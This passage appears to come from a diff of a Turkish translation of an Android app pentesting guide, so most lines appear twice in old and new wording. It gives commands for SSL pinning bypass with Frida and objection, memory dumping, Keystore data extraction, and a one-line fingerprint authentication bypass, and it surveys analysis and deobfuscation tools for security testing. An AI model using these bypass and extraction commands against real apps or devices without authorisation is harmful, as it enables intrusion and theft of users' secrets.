- Bu korumayı atlatmak için **Frida** (aşağıda tartışılıyor) kullanabilirsiniz. Burp+Frida+Genymotion kullanımı için rehber: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
- [**objection**](frida-tutorial/objection-tutorial.md) kullanarak SSL Pinning'i **otomatik** olarak atlamayı da deneyebilirsiniz:**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
- **MobSF dynamic analysis** kullanarak SSL Pinning'i **otomatik** olarak atlamayı da deneyebilirsiniz (aşağıda açıklanıyor)
- Hâlâ yakalamadığınızı düşündüğünüz trafik varsa trafiği iptables kullanarak burp'a yönlendirmeyi deneyebilirsiniz. Bu blogu okuyun: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
#### Looking for Common Web Vulnerabilities
#### Yaygın Web Zayıflıklarını Arama
Uygulama içinde yaygın web zayıflıklarını aramak da önemlidir. Bu zayıflıkların belirlenmesi ve hafifletilmesine dair ayrıntılı bilgiler bu özetin kapsamı dışında olup başka kaynaklarda genişçe ele alınmıştır.
Uygulama içinde yaygın web zayıflıklarını aramak da önemlidir. Bu zayıflıkları tespit etme ve hafifletme hakkında ayrıntılı bilgi bu özetin kapsamı dışında olup başka yerlerde geniş şekilde ele alınmaktadır.
### Frida
[Frida](https://www.frida.re) geliştiriciler, reverse-engineer'lar ve güvenlik araştırmacıları için dinamik bir instrumentation toolkit'idir.\
**Çalışan uygulamaya erişip runtime'da metotları hook'layarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kod çalıştırabilirsiniz...**\
[Frida](https://www.frida.re) geliştiriciler, reverse-engineerler ve güvenlik araştırmacıları için dinamik enstrümantasyon araç takımıdır.\
**Çalışan uygulamaya erişip çalışma zamanında metotları hooklayarak davranışı değiştirebilir, değerleri değiştirebilir, değerleri çıkarabilir, farklı kodlar çalıştırabilirsiniz...**\
Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanacağınızı bilmelisiniz.
- Frida kullanmayı öğrenin: [**Frida tutorial**](frida-tutorial/index.html)
- Frida ile lemler için bazı "GUI"ler: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Frida'yı nasıl kullanacağınızı öğrenin: [**Frida tutorial**](frida-tutorial/index.html)
- Frida ile eylemler için bazı "GUI"ler: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
- Ojection, Frida kullanımını otomatikleştirmek için harikadır: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
- Bazı Awesome Frida script'lerini burada bulabilirsiniz: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
- Frida'yı, [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) adresinde belirtildiği gibi yükleyerek anti-debugging / anti-frida mekanizmalarını atlatmayı deneyin (tool [linjector](https://github.com/erfur/linjector-rs))
- Frida yükleyerek anti-debugging / anti-frida mekanizmalarını atlatmayı deneyin, örneğin şu gösterimde: [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (araç [linjector](https://github.com/erfur/linjector-rs))
#### Anti-instrumentation & SSL pinning bypass workflow
@ -520,9 +527,9 @@ Android uygulamalarını pentest etmek istiyorsanız Frida'yı nasıl kullanaca
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
### **Dump Memory - Fridump**
### **Bellek dökümü - Fridump**
Uygulamanın parolalar veya mnemonic'ler gibi saklamaması gereken hassas bilgileri bellek içinde saklayıp saklamadığını kontrol edin.
Uygulamanın parolalar veya mnemonikler gibi bellekte saklamaması gereken hassas bilgileri bellekte depolayıp depolamadığını kontrol edin.
Using [**Fridump3**](https://github.com/rootbsd/fridump3) you can dump the memory of the app with:
```bash
@ -533,76 +540,78 @@ python3 fridump3.py -u <PID>
frida-ps -Uai
python3 fridump3.py -u "<Name>"
```
Bu, belleği ./dump folder'a dump edecek ve orada şu gibi bir şeyle grep yapabilirsiniz:
Bu, belleği ./dump klasörüne dump edecek ve orada şu gibi bir şeyle grep yapabilirsiniz:
```bash
strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+$"
```
### **Keystore'daki hassas veriler**
Android'de Keystore hassas verileri depolamak için en iyi yerdir; ancak yeterli ayrıcalığa sahip olunursa yine de **ona erişmek mümkündür**. Uygulamalar burada genellikle **hassas verileri açık metin olarak** depolama eğiliminde olduğundan, pentests bunu root user veya cihaza fiziksel erişimi olan birinin bu verileri çalabilme ihtimaline karşı kontrol etmelidir.
Android'de Keystore hassas verileri saklamak için en iyi yerdir; ancak yeterli ayrıcalıklara sahip olunursa yine de **erişmek mümkün**.
Bir uygulama verileri Keystore'da saklasa bile, veriler şifrelenmiş olmalıdır.
Uygulamalar burada genellikle **açık metin hâlinde hassas veriler** saklama eğiliminde olduğundan, pentests bunu root user olarak kontrol etmelidir; aksi halde cihazın fiziksel erişimine sahip birisi bu verileri çalabilir.
Keystore içindeki verilere erişmek için bu Frida script'ini kullanabilirsiniz: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
Bir uygulama veriyi Keystore'a saklamış olsa bile, verilerin şifrelenmiş olması gerekir.
Keystore içindeki verilere erişmek için şu Frida script'ini kullanabilirsiniz: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
```bash
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
```
### **Fingerprint/Biometrics Bypass**
### **Parmak İzi/Biyometrik Bypass**
Aşağıdaki Frida script'ini kullanarak, Android uygulamalarının **belirli hassas alanları korumak** amacıyla gerçekleştirebilecekleri **parmak izi doğrulamasını atlatmak** mümkün olabilir:
Aşağıdaki Frida scriptini kullanarak, Android uygulamalarının belirli hassas alanları korumak için gerçekleştirdiği **parmak izi doğrulamasını bypass etmek** mümkün olabilir:
```bash
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
```
### **Background Images**
### **Arka Plan Görüntüleri**
Bir uygulamayı arka plana aldığınızda, Android uygulamanın bir **uygulamanın anlık görüntüsünü** saklar; böylece uygulama ön plana geri getirildiğinde, uygulama başlamadan önce bu görüntüyü yükleyerek uygulamanın daha hızlıılmış gibi görünmesini sağlar.
Bir uygulamayı arka plana aldığınızda, Android uygulamanın bir **anlık görüntüsünü** saklar; böylece uygulama ön plana geri getirildiğinde uygulamanın kendisinden önce bu görsel yüklenir ve uygulama daha hızlı yüklenmiş gibi görünür.
Ancak bu **anlık görüntü** hassas bilgi içeriyorsa, anlık görüntüye erişimi olan biri bu bilgiyi **çalabilir** (erişim için root gerektiğini unutmayın).
Ancak, bu **anlık görüntü** hassas bilgi içeriyorsa, anlık görüntüye erişimi olan biri bu bilgileri **çalabilir** (erişmek için root gerektiğini unutmayın).
Anlık görüntüler genellikle şu konumda saklanır: **`/data/system_ce/0/snapshots`**
Android, layout parametresi olarak **FLAG_SECURE ayarlanarak ekran görüntüsü alınmasını engelleme** imkanı sağlar. Bu flag kullanıldığında, pencere içeriği güvenli olarak işaretlenir; böylece ekran görüntülerinde görünmesi veya güvenli olmayan ekranlarda görüntülenmesi engellenir.
Android, `FLAG_SECURE` layout parametresini ayarlayarak **ekran görüntüsü alınmasını engelleme** yöntemi sağlar. Bu flag kullanıldığında, pencere içeriği güvenli olarak kabul edilir; böylece ekran görüntülerinde görünmesi veya güvenli olmayan ekranlarda görüntülenmesi engellenir.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
### **Android Application Analyzer**
This tool could help you managing different tools during the dynamic analysis: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
Bu araç dinamik analiz sırasında farklı araçları yönetmenize yardımcı olabilir: [https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
### Intent Injection
Geliştiriciler genellikle activities, services ve broadcast receivers gibi proxy bileşenler oluşturur; bu bileşenler bu Intents'i işleyip `startActivity(...)` veya `sendBroadcast(...)` gibi metodlara iletebilir ve bu durum riskli olabilir.
Geliştiriciler genellikle bu Intents'leri işleyen ve `startActivity(...)` veya `sendBroadcast(...)` gibi metodlara ileten activities, services ve broadcast receivers gibi proxy bileşenler oluşturur; bu durum riskli olabilir.
Tehlike, saldırganların bu Intent'leri yanlış yönlendirerek export edilmeyen uygulama bileşenlerini tetiklemesine veya hassas content providers'a erişmesine izin verilmesinde yatıyor. Önemli bir örnek, `WebView` bileşeninin URL'leri `Intent.parseUri(...)` ile `Intent` objelerine çevirip sonra bunları çalıştırmasıdır; bu durum kötü amaçlı Intent injection'larına yol açabilir.
Tehlike, saldırganların bu Intents'leri yanlış yönlendirerek export edilmeyen uygulama bileşenlerini tetiklemesine veya hassas content providers'a erişmesine izin vermekte yatar. Önemli bir örnek, `WebView` bileşeninin URL'leri `Intent.parseUri(...)` ile `Intent` nesnelerine dönüştürmesi ve ardından bunları çalıştırmasıdır; bu durum potansiyel olarak kötü niyetli Intent enjeksiyonlarına yol açabilir.
### Temel Çıkarımlar
### Essential Takeaways
- **Intent Injection** web'deki Open Redirect sorununa benzer.
- Sömürüler, `Intent` nesnelerinin extras olarak geçirilmesini ve bunların tehlikeli işlemler gerçekleştirecek şekilde yönlendirilmesini içerir.
- Sömürüler, `Intent` nesnelerinin extras olarak geçirilmesini içerir; bunlar yönlendirilerek güvensiz işlemler çalıştırılabilir.
- Bu, export edilmeyen bileşenleri ve content providers'ı saldırganlara açabilir.
- `WebView`'in URL'den `Intent`'e dönüşümü istenmeyen eylemleri kolaylaştırabilir.
- `WebView`'in URL'den `Intent` dönüşümü istenmeyen eylemleri kolaylaştırabilir.
### Android Client Side Injections and others
Muhtemelen bu tür zafiyetleri Web'den biliyorsunuzdur. Android uygulamalarında bu zafiyetlere karşı özellikle dikkatli olmalısınız:
Muhtemelen bu tür zafiyetleri Web tarafında biliyorsunuzdur. Bir Android uygulamasında bu zafiyetlere özellikle dikkat etmelisiniz:
- **SQL Injection:** Dinamik sorgular veya Content-Providers ile çalışırken parametreli sorgular kullandığınızdan emin olun.
- **JavaScript Injection (XSS):** Herhangi bir WebView için JavaScript ve Plugin desteğinin devre dışı bırakıldığını doğrulayın (varsayılan olarak devre dışıdır). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebView'ların dosya sistemine erişimi devre dışı olmalıdır (varsayılan olarak etkin) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: Bazı durumlarda Android uygulama oturumu kapattığında cookie iptal edilmiyor veya diske kaydedilebiliyor
- **SQL Injection:** Dinamik sorgularla veya Content-Providers ile çalışırken parametreli sorgular kullandığınızdan emin olun.
- **JavaScript Injection (XSS):** Herhangi bir WebView için JavaScript ve Plugin desteğinin devre dışı olduğundan emin olun (varsayılan olarak devre dışıdır). [More info here](webview-attacks.md#javascript-enabled).
- **Local File Inclusion:** WebView'ların dosya sistemine erişiminin devre dışı olması gerekir (varsayılan olarak etkin) - `(webview.getSettings().setAllowFileAccess(false);)`. [More info here](webview-attacks.md#javascript-enabled).
- **Eternal cookies**: Birçok durumda, android uygulaması oturumu sonlandırdığında cookie iptal edilmez veya diske kaydedilmiş olabilir
- [**Secure Flag** in cookies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
---
## Otomatik Analiz
## Automatic Analysis
### [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF)
**Statik analiz**
**Static analysis**
![](<../../images/image (866).png>)
**Uygulamanın zafiyet değerlendirmesini** güzel bir web tabanlı ön yüz kullanarak yapar. Dinamik analiz de yapabilirsiniz (ancak ortamı hazırlamanız gerekir).
**Vulnerability assessment of the application** web tabanlı hoş bir frontend kullanılarak yapılır. Dinamik analiz de gerçekleştirebilirsiniz (ancak ortamı hazırlamanız gerekir).
```bash
docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
@ -612,7 +621,7 @@ Also, if you create a **ZIP** file with the source code if an **Android** or an
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (you will need to set your API key in _MobSF/settings.py_ and enable it: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
### MobSF ile Yardımlı Dynamic analysis
### Assisted Dynamic analysis with MobSF
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (a VM or Docker won't work). _Note: You need to **start first a VM in genymotion** and **then MobSF.**_\
The **MobSF dynamic analyser** can:
@ -657,32 +666,32 @@ receivers
```
**HTTP araçları**
HTTP trafiği yakalandığında, yakalanan trafiğin çirkin bir görünümünü "**HTTP(S) Traffic**" altından veya daha hoş bir görünümünü "**Start HTTPTools**" yeşil butondan görebilirsiniz. İkinci seçenekten **yakalanan istekleri** Burp veya Owasp ZAP gibi **proxies**'e **send** edebilirsiniz.\
Bunu yapmak için, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> basın "**Send to Fuzzer**" --> _proxy adresini seçin_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
When http traffic is capture you can see an ugly view of the captured traffic on "**HTTP(S) Traffic**" bottom or a nicer view in "**Start HTTPTools**" green bottom. From the second option, you can **send** the **captured requests** to **proxies** like Burp or Owasp ZAP.\
To do so, _power on Burp -->_ _turn off Intercept --> in MobSB HTTPTools select the request_ --> press "**Send to Fuzzer**" --> _select the proxy address_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
MobSF ile dinamik analizi bitirdikten sonra "**Start Web API Fuzzer**" a basarak **fuzz http requests** yapıp zafiyet arayabilirsiniz.
MobSF ile dinamik analizini bitirdikten sonra "**Start Web API Fuzzer**"a basarak **fuzz http requests** yapabilir ve zafiyet arayabilirsiniz.
> [!TIP]
> MobSF ile dinamik analiz yaptıktan sonra proxy ayarları yanlış yapılandırılabilir ve GUI üzerinden düzeltilemeyebilir. Proxy ayarlarını düzeltmek için şu komutu kullanabilirsiniz:
> MobSF ile dinamik analiz yaptıktan sonra proxy ayarları yanlış yapılandırılmış olabilir ve GUI'den düzeltemeyebilirsiniz. Proxy ayarlarını şu komutla düzeltebilirsiniz:
>
> ```
> adb shell settings put global http_proxy :0
> ```
### Assisted Dynamic Analysis with Inspeckage
### Inspeckage ile Yardımlı Dinamik Analiz
Aracı [**Inspeckage**](https://github.com/ac-pm/Inspeckage) üzerinden edinebilirsiniz.\
Bu araç bazı **Hooks** kullanarak **dinamik analiz** sırasında uygulamada **nelerin olup bittiğini** görmenizi sağlar.
Aracı [**Inspeckage**](https://github.com/ac-pm/Inspeckage) adresinden edinebilirsiniz.\
Bu araç, **dinamik analiz** yaparken uygulamada **neler olduğunu** size bildirmek için bazı **Hooks** kullanır.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
Bu, GUI ile **statik analiz** yapmak için harika bir araçtır
Bu, GUI ile **statik analiz yapmak için harika bir araçtır**
![](<../../images/image (741).png>)
### [Qark](https://github.com/linkedin/qark)
Bu araç, hem **source code** hem de paketlenmiş APK'larda çeşitli güvenlik ile ilgili Android uygulama zafiyetlerini aramak için tasarlanmıştır. Araç ayrıca bulunan bazı zafiyetleri (Exposed activities, intents, tapjacking...) istismar etmek için deploy edilebilir bir "Proof-of-Concept" APK ve ADB commands oluşturabilme yeteneğine sahiptir. Drozer'da olduğu gibi test cihazını rootlamaya gerek yoktur.
Bu araç, hem **güvenlikle ilgili Android uygulama zafiyetlerini** hem de **kaynak kodunda** veya **paketlenmiş APK'lerde** aramak için tasarlanmıştır. Araç ayrıca bulunan bazı zafiyetleri (Exposed activities, intents, tapjacking...) istismar etmek için **"Proof-of-Concept" deploy edilebilen bir APK** ve **ADB commands** oluşturabilme yeteneğine sahiptir. Drozer'da olduğu gibi, test cihazını rootlamaya gerek yoktur.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -691,22 +700,22 @@ qark --java path/to/specific/java/file.java
```
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
- Kolay başvuru için çıkarılan tüm dosyaları gösterir
- Kolay referans için tüm çıkarılmış dosyaları gösterir
- APK dosyalarını otomatik olarak Java ve Smali formatına decompile eder
- AndroidManifest.xml'i yaygın zafiyetler ve davranışlar için analiz eder
- Yaygın zafiyetler ve davranışlar için statik kaynak kod analizi
- Cihaz bilgisi
- AndroidManifest.xml'i yaygın zafiyetler ve davranışlar ısından analiz eder
- Yaygın zafiyetler ve davranışlar için statik kaynak kodu analizi yapar
- Cihaz bilgileri
- ve daha fazlası
```bash
reverse-apk relative/path/to/APP.apk
```
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
SUPER, Windows, MacOS X ve Linux'ta kullanılabilen bir komut satırı uygulamasıdır; _.apk_ dosyalarını vulnerabilities aramak için analiz eder. Bunu APK'leri açıp bir dizi kural uygulayarak gerçekleştirir.
SUPER, Windows, MacOS X ve Linux'ta kullanılabilen bir komut satırı uygulamasıdır; _.apk_ dosyalarını zayıflık aramak için analiz eder. Bunu APK'leri açıp bir dizi kural uygulayarak yapar.
Tüm kurallar `rules.json` dosyasında toplanmıştır ve her şirket veya tester ihtiyaçlarına göre kendi kurallarını oluşturabilir.
Tüm kurallar `rules.json` dosyasında toplanmıştır ve her şirket veya test uzmanı ihtiyaçlarına göre kendi kurallarını oluşturabilir.
En son binaries'leri [download page](https://superanalyzer.rocks/download.html) üzerinden indirin.
En son ikili dosyaları [download page](https://superanalyzer.rocks/download.html) adresinden indirin.
```
super-analyzer {apk_file}
```
@ -714,17 +723,17 @@ super-analyzer {apk_file}
![](<../../images/image (297).png>)
StaCoAn, mobil uygulamalar üzerinde [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) yapan geliştiriciler, bugbounty hunters ve ethical hackers için yardımcı olan **çok platformlu** bir araçtır.
StaCoAn, mobil uygulamalarda [statik kod analizi](https://en.wikipedia.org/wiki/Static_program_analysis) yapan geliştiricilere, bugbounty avcılarına ve etik hackerlara yardımcı olan bir **crossplatform** araçtır.
Konsept, mobil uygulama dosyanızı (.apk veya .ipa file) StaCoAn uygulamasına sürükleyip bırakmanız ve uygulamanın sizin için görsel ve taşınabilir bir rapor üretmesidir. Ayarları ve wordlists'i düzenleyerek özelleştirilmiş bir deneyim elde edebilirsiniz.
Kavram şu: mobil uygulama dosyanızı (.apk veya .ipa dosyası) StaCoAn uygulamasına sürükleyip bırakırsınız ve araç sizin için görsel ve taşınabilir bir rapor üretir. Ayarları ve wordlists'leri değiştirerek özelleştirilmiş bir deneyim elde edebilirsiniz.
İndir[ latest release](https://github.com/vincentcox/StaCoAn/releases):
İndir[ en son sürüm](https://github.com/vincentcox/StaCoAn/releases):
```
./stacoan
```
### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework)
AndroBugs Framework, geliştiricilerin veya hackers'ın Android uygulamalarındaki potansiyel güvenlik açıklarını bulmalarına yardımcı olan bir Android zafiyet analiz sistemidir.\
AndroBugs Framework, geliştiriciler ve hackers için Android uygulamalarındaki potansiyel güvenlik açıklarını bulmaya yardımcı olan bir analiz sistemidir.\
[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases)
```
python androbugs.py -f [APK file]
@ -732,11 +741,11 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn** bir araçtır; temel amacı bir Android uygulaması tarafından geliştirilebilecek potansiyel kötü amaçlı davranışları tespit etmek ve kullanıcıyı uyarmaktır.
**Androwarn**'ın temel amacı, bir Android uygulaması tarafından geliştirilebilecek potansiyel zararlı davranışları tespit etmek ve kullanıcıyı uyarmaktır.
Tespit, uygulamanın Dalvik bytecode'unun **Smali** olarak temsil edilen kısmının **static analysis** ile [`androguard`](https://github.com/androguard/androguard) kütüphanesi kullanılarak yapılır.
Tespit, uygulamanın Dalvik bytecode'u (Smali olarak temsil edilen) üzerinde [`androguard`](https://github.com/androguard/androguard) kütüphanesi ile yapılan **static analysis** ile gerçekleştirilir.
Bu araç **"kötü" uygulamaların yaygın davranışlarını** arar, örneğin: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
Bu araç, **"kötü" uygulamaların ortak davranışlarını** arar; örneğin: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -744,87 +753,83 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** bir **M**obile **A**pplication **R**everse engineering and **A**nalysis Framework'tür. Mobil uygulamaları OWASP mobile security tehditlerine karşı test etmeye yardımcı olmak için yaygın olarak kullanılan mobil uygulama reverse engineering ve analysis araçlarını bir araya getiren bir araçtır. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve kullanıcı dostu hale getirmektir.
**MARA**, Mobil Uygulama Tersine Mühendislik ve Analiz Çerçevesidir. Yaygın olarak kullanılan mobil uygulama tersine mühendislik ve analiz araçlarını bir araya getiren bir araçtır; OWASP mobil güvenlik tehditlerine karşı mobil uygulamaları test etmeye yardımcı olur. Amacı, bu görevi mobil uygulama geliştiricileri ve güvenlik profesyonelleri için daha kolay ve daha kullanıcı dostu hale getirmektir.
Yapabildiği şeyler:
Şunları yapabilir:
- Farklı araçlar kullanarak Java ve Smali kodunu çıkarmak
- APK'leri analiz etmek için kullanır: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- APK'den regexp'ler kullanarak özel bilgileri çıkarmak.
- APK'leri şu araçlarla analiz etmek: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- APK içinden regexp'ler kullanarak özel bilgileri çıkarmak.
- Manifest'i analiz etmek.
- Bulunan domainleri analiz etmek için kullanır: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Bulunan domainleri şu araçlarla analiz etmek: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) ve [whatweb](https://github.com/urbanadventurer/WhatWeb)
- APK'yi [apk-deguard.com](http://www.apk-deguard.com) üzerinden deobfuscate etmek
### Koodous
Malware tespitinde faydalı: [https://koodous.com/](https://koodous.com)
malware tespit etmek için kullanışlı: [https://koodous.com/](https://koodous.com/)
## Kodun Obfuskasyonu/Deobfuskasyonu
## Obfuscating/Deobfuscating code
Unutmayın ki kodu obfuscate etmek için kullandığınız servis ve yapılandırmaya bağlı olarak, secret'lar obfuscated olarak kalabilir veya kalmayabilir.
Not: Kodu obfuscate etmek için kullandığınız servis ve yapılandırmaya bağlı olarak, secret'lar obfuscated şekilde veya obfuscated olmadan kalabilir.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
From [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** Java kodunu küçülten, optimize eden ve obfuscate eden açık kaynaklı bir komut satırı aracıdır. Hem bytecode'u optimize edebilir hem de kullanılmayan talimatları tespit edip kaldırabilir. ProGuard özgür yazılımdır ve GNU General Public License, version 2 altında dağıtılmaktadır.
Wikipedia'dan: **ProGuard**ık kaynaklı, komut satırı tabanlı bir araçtır; Java kodunu küçültür, optimize eder ve obfuscate eder. Bytecode'u optimize edebilme ve kullanılmayan talimatları tespit edip kaldırma yeteneğine sahiptir. ProGuard özgür yazılımdır ve GNU General Public License, version 2 altında dağıtılır.
ProGuard Android SDK'nin bir parçası olarak dağıtılır ve uygulama release modunda derlenirken çalışır.
ProGuard, Android SDK'nin bir parçası olarak dağıtılır ve uygulama release modunda derlenirken çalışır.
### [DexGuard](https://www.guardsquare.com/dexguard)
APK'yi deobfuscate etmek için adım adım bir rehber bulabilirsiniz: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
APK'yi deobfuscate etmek için adım adım bir kılavuz bulabilirsiniz: [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(o rehberden) Son kontrol ettiğimizde, Dexguardın çalışma modu şunlardı:
(o kılavuzdan) En son kontrol ettiğimizde, Dexguard'ın çalışma modu şu şekildeydi:
- Bir kaynağı InputStream olarak yüklemek;
- Sonucu decrypt etmek için FilterInputStream'ten türeyen bir sınıfa beslemek;
- bir reverser'ın birkaç dakikasını boşa harcamak için bazı anlamsız obfuscation'lar yapmak;
- decrypt edilmiş sonucu bir ZipInputStream'e verip bir DEX dosyası elde etmek;
- son olarak oluşan DEX'i `loadDex` metodunu kullanarak bir Resource olarak yüklemek.
- bir kaynağı InputStream olarak yüklemek;
- sonucu şifreyi çözmek için FilterInputStream'ten türeyen bir sınıfa vermek;
- tersine mühendislik yapan kişinin birkaç dakikasını boşa harcamak için bazı gereksiz obfuscation işlemleri yapmak;
- çözülmüş sonucu bir DEX dosyası almak için ZipInputStream'e vermek;
- son olarak `loadDex` metodunu kullanarak ortaya çıkan DEX'i bir Resource olarak yüklemek.
### [DeGuard](http://apk-deguard.com)
**DeGuard, Android obfuscation araçları tarafından uygulanan obfuscation sürecini tersine çevirir. Bu, kod incelemesi ve kütüphane tahmini dahil olmak üzere birçok güvenlik analizine olanak tanır.**
**DeGuard, Android obfuscation araçları tarafından yapılan obfuscation sürecini tersine çevirir. Bu, kod incelemesi ve kütüphane tahmini dahil olmak üzere birçok güvenlik analizine olanak sağlar.**
Obfuscated bir APK'yı platformlarına yükleyebilirsiniz.
Obfuskate edilmiş bir APK'yi platformlarına yükleyebilirsiniz.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
This is a LLM tool to find any potential security vulnerabilities in android apps and deobfuscate android app code. Uses Google's Gemini public API.
Bu, android uygulamalardaki potansiyel güvenlik açıklarını bulmak ve android uygulama kodunu deobfuscate etmek için kullanılan bir LLM aracıdır. Google'ın Gemini public API'sini kullanır.
### [Simplify](https://github.com/CalebFenton/simplify)
Bu, **generic android deobfuscator**'dır. Simplify **pratikte bir uygulamayı yürütür** (virtually executes an app) davranışını anlamak için ve ardından **kodu optimize etmeye çalışır** böylece kod insan tarafından anlaşılması daha kolay fakat davranışı aynı kalır. Her optimizasyon tipi basit ve generiktir, bu yüzden hangi spesifik obfuscation türünün kullanıldığı önemli değildir.
Genel amaçlı bir android deobfuscator'dır. Simplify, bir uygulamayı neredeyse çalıştırarak davranışını anlamaya çalışır ve ardından kodu optimize etmeye çalışır; böylece davranış tamamen aynı kalır fakat insan için anlaşılması kolaylaşır. Her optimizasyon türü basit ve genel olduğu için, kullanılan obfuscation türü ne olursa olsun işlem etkili olur.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD size bir **APK'nin nasıl oluşturulduğu** hakkında bilgi verir. Birçok **compiler**, **packer**, **obfuscator** ve diğer tuhaf şeyleri tanımlar. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir.
APKiD size bir APK'nın nasıl yapıldığı hakkında bilgi verir. Birçok compiler, packer, obfuscator ve diğer tuhaf şeyleri tespit eder. Android için [_PEiD_](https://www.aldeid.com/wiki/PEiD) gibidir.
### Manual
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
[Bu öğreticiyi okuyarak **how to reverse custom obfuscation** ile ilgili bazı hileleri öğrenin](manual-deobfuscation.md)
## Labs
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b, ubuntu-mate tabanlı bir Android security virtual machine'dir ve reverse engineering ve malware analysis için farklı güvenlik meraklıları ve araştırmacılardan en son framework'leri, eğitimleri ve laboratuvarları içerir.
AndroL4b, ubuntu-mate tabanlı bir Android security virtual machine'dir; tersine mühendislik ve malware analysis için farklı güvenlik meraklıları ve araştırmacıların en son framework, tutorial ve lab koleksiyonlarını içerir.
## References
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Harika bir kaynak listesi
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android hızlı kursu
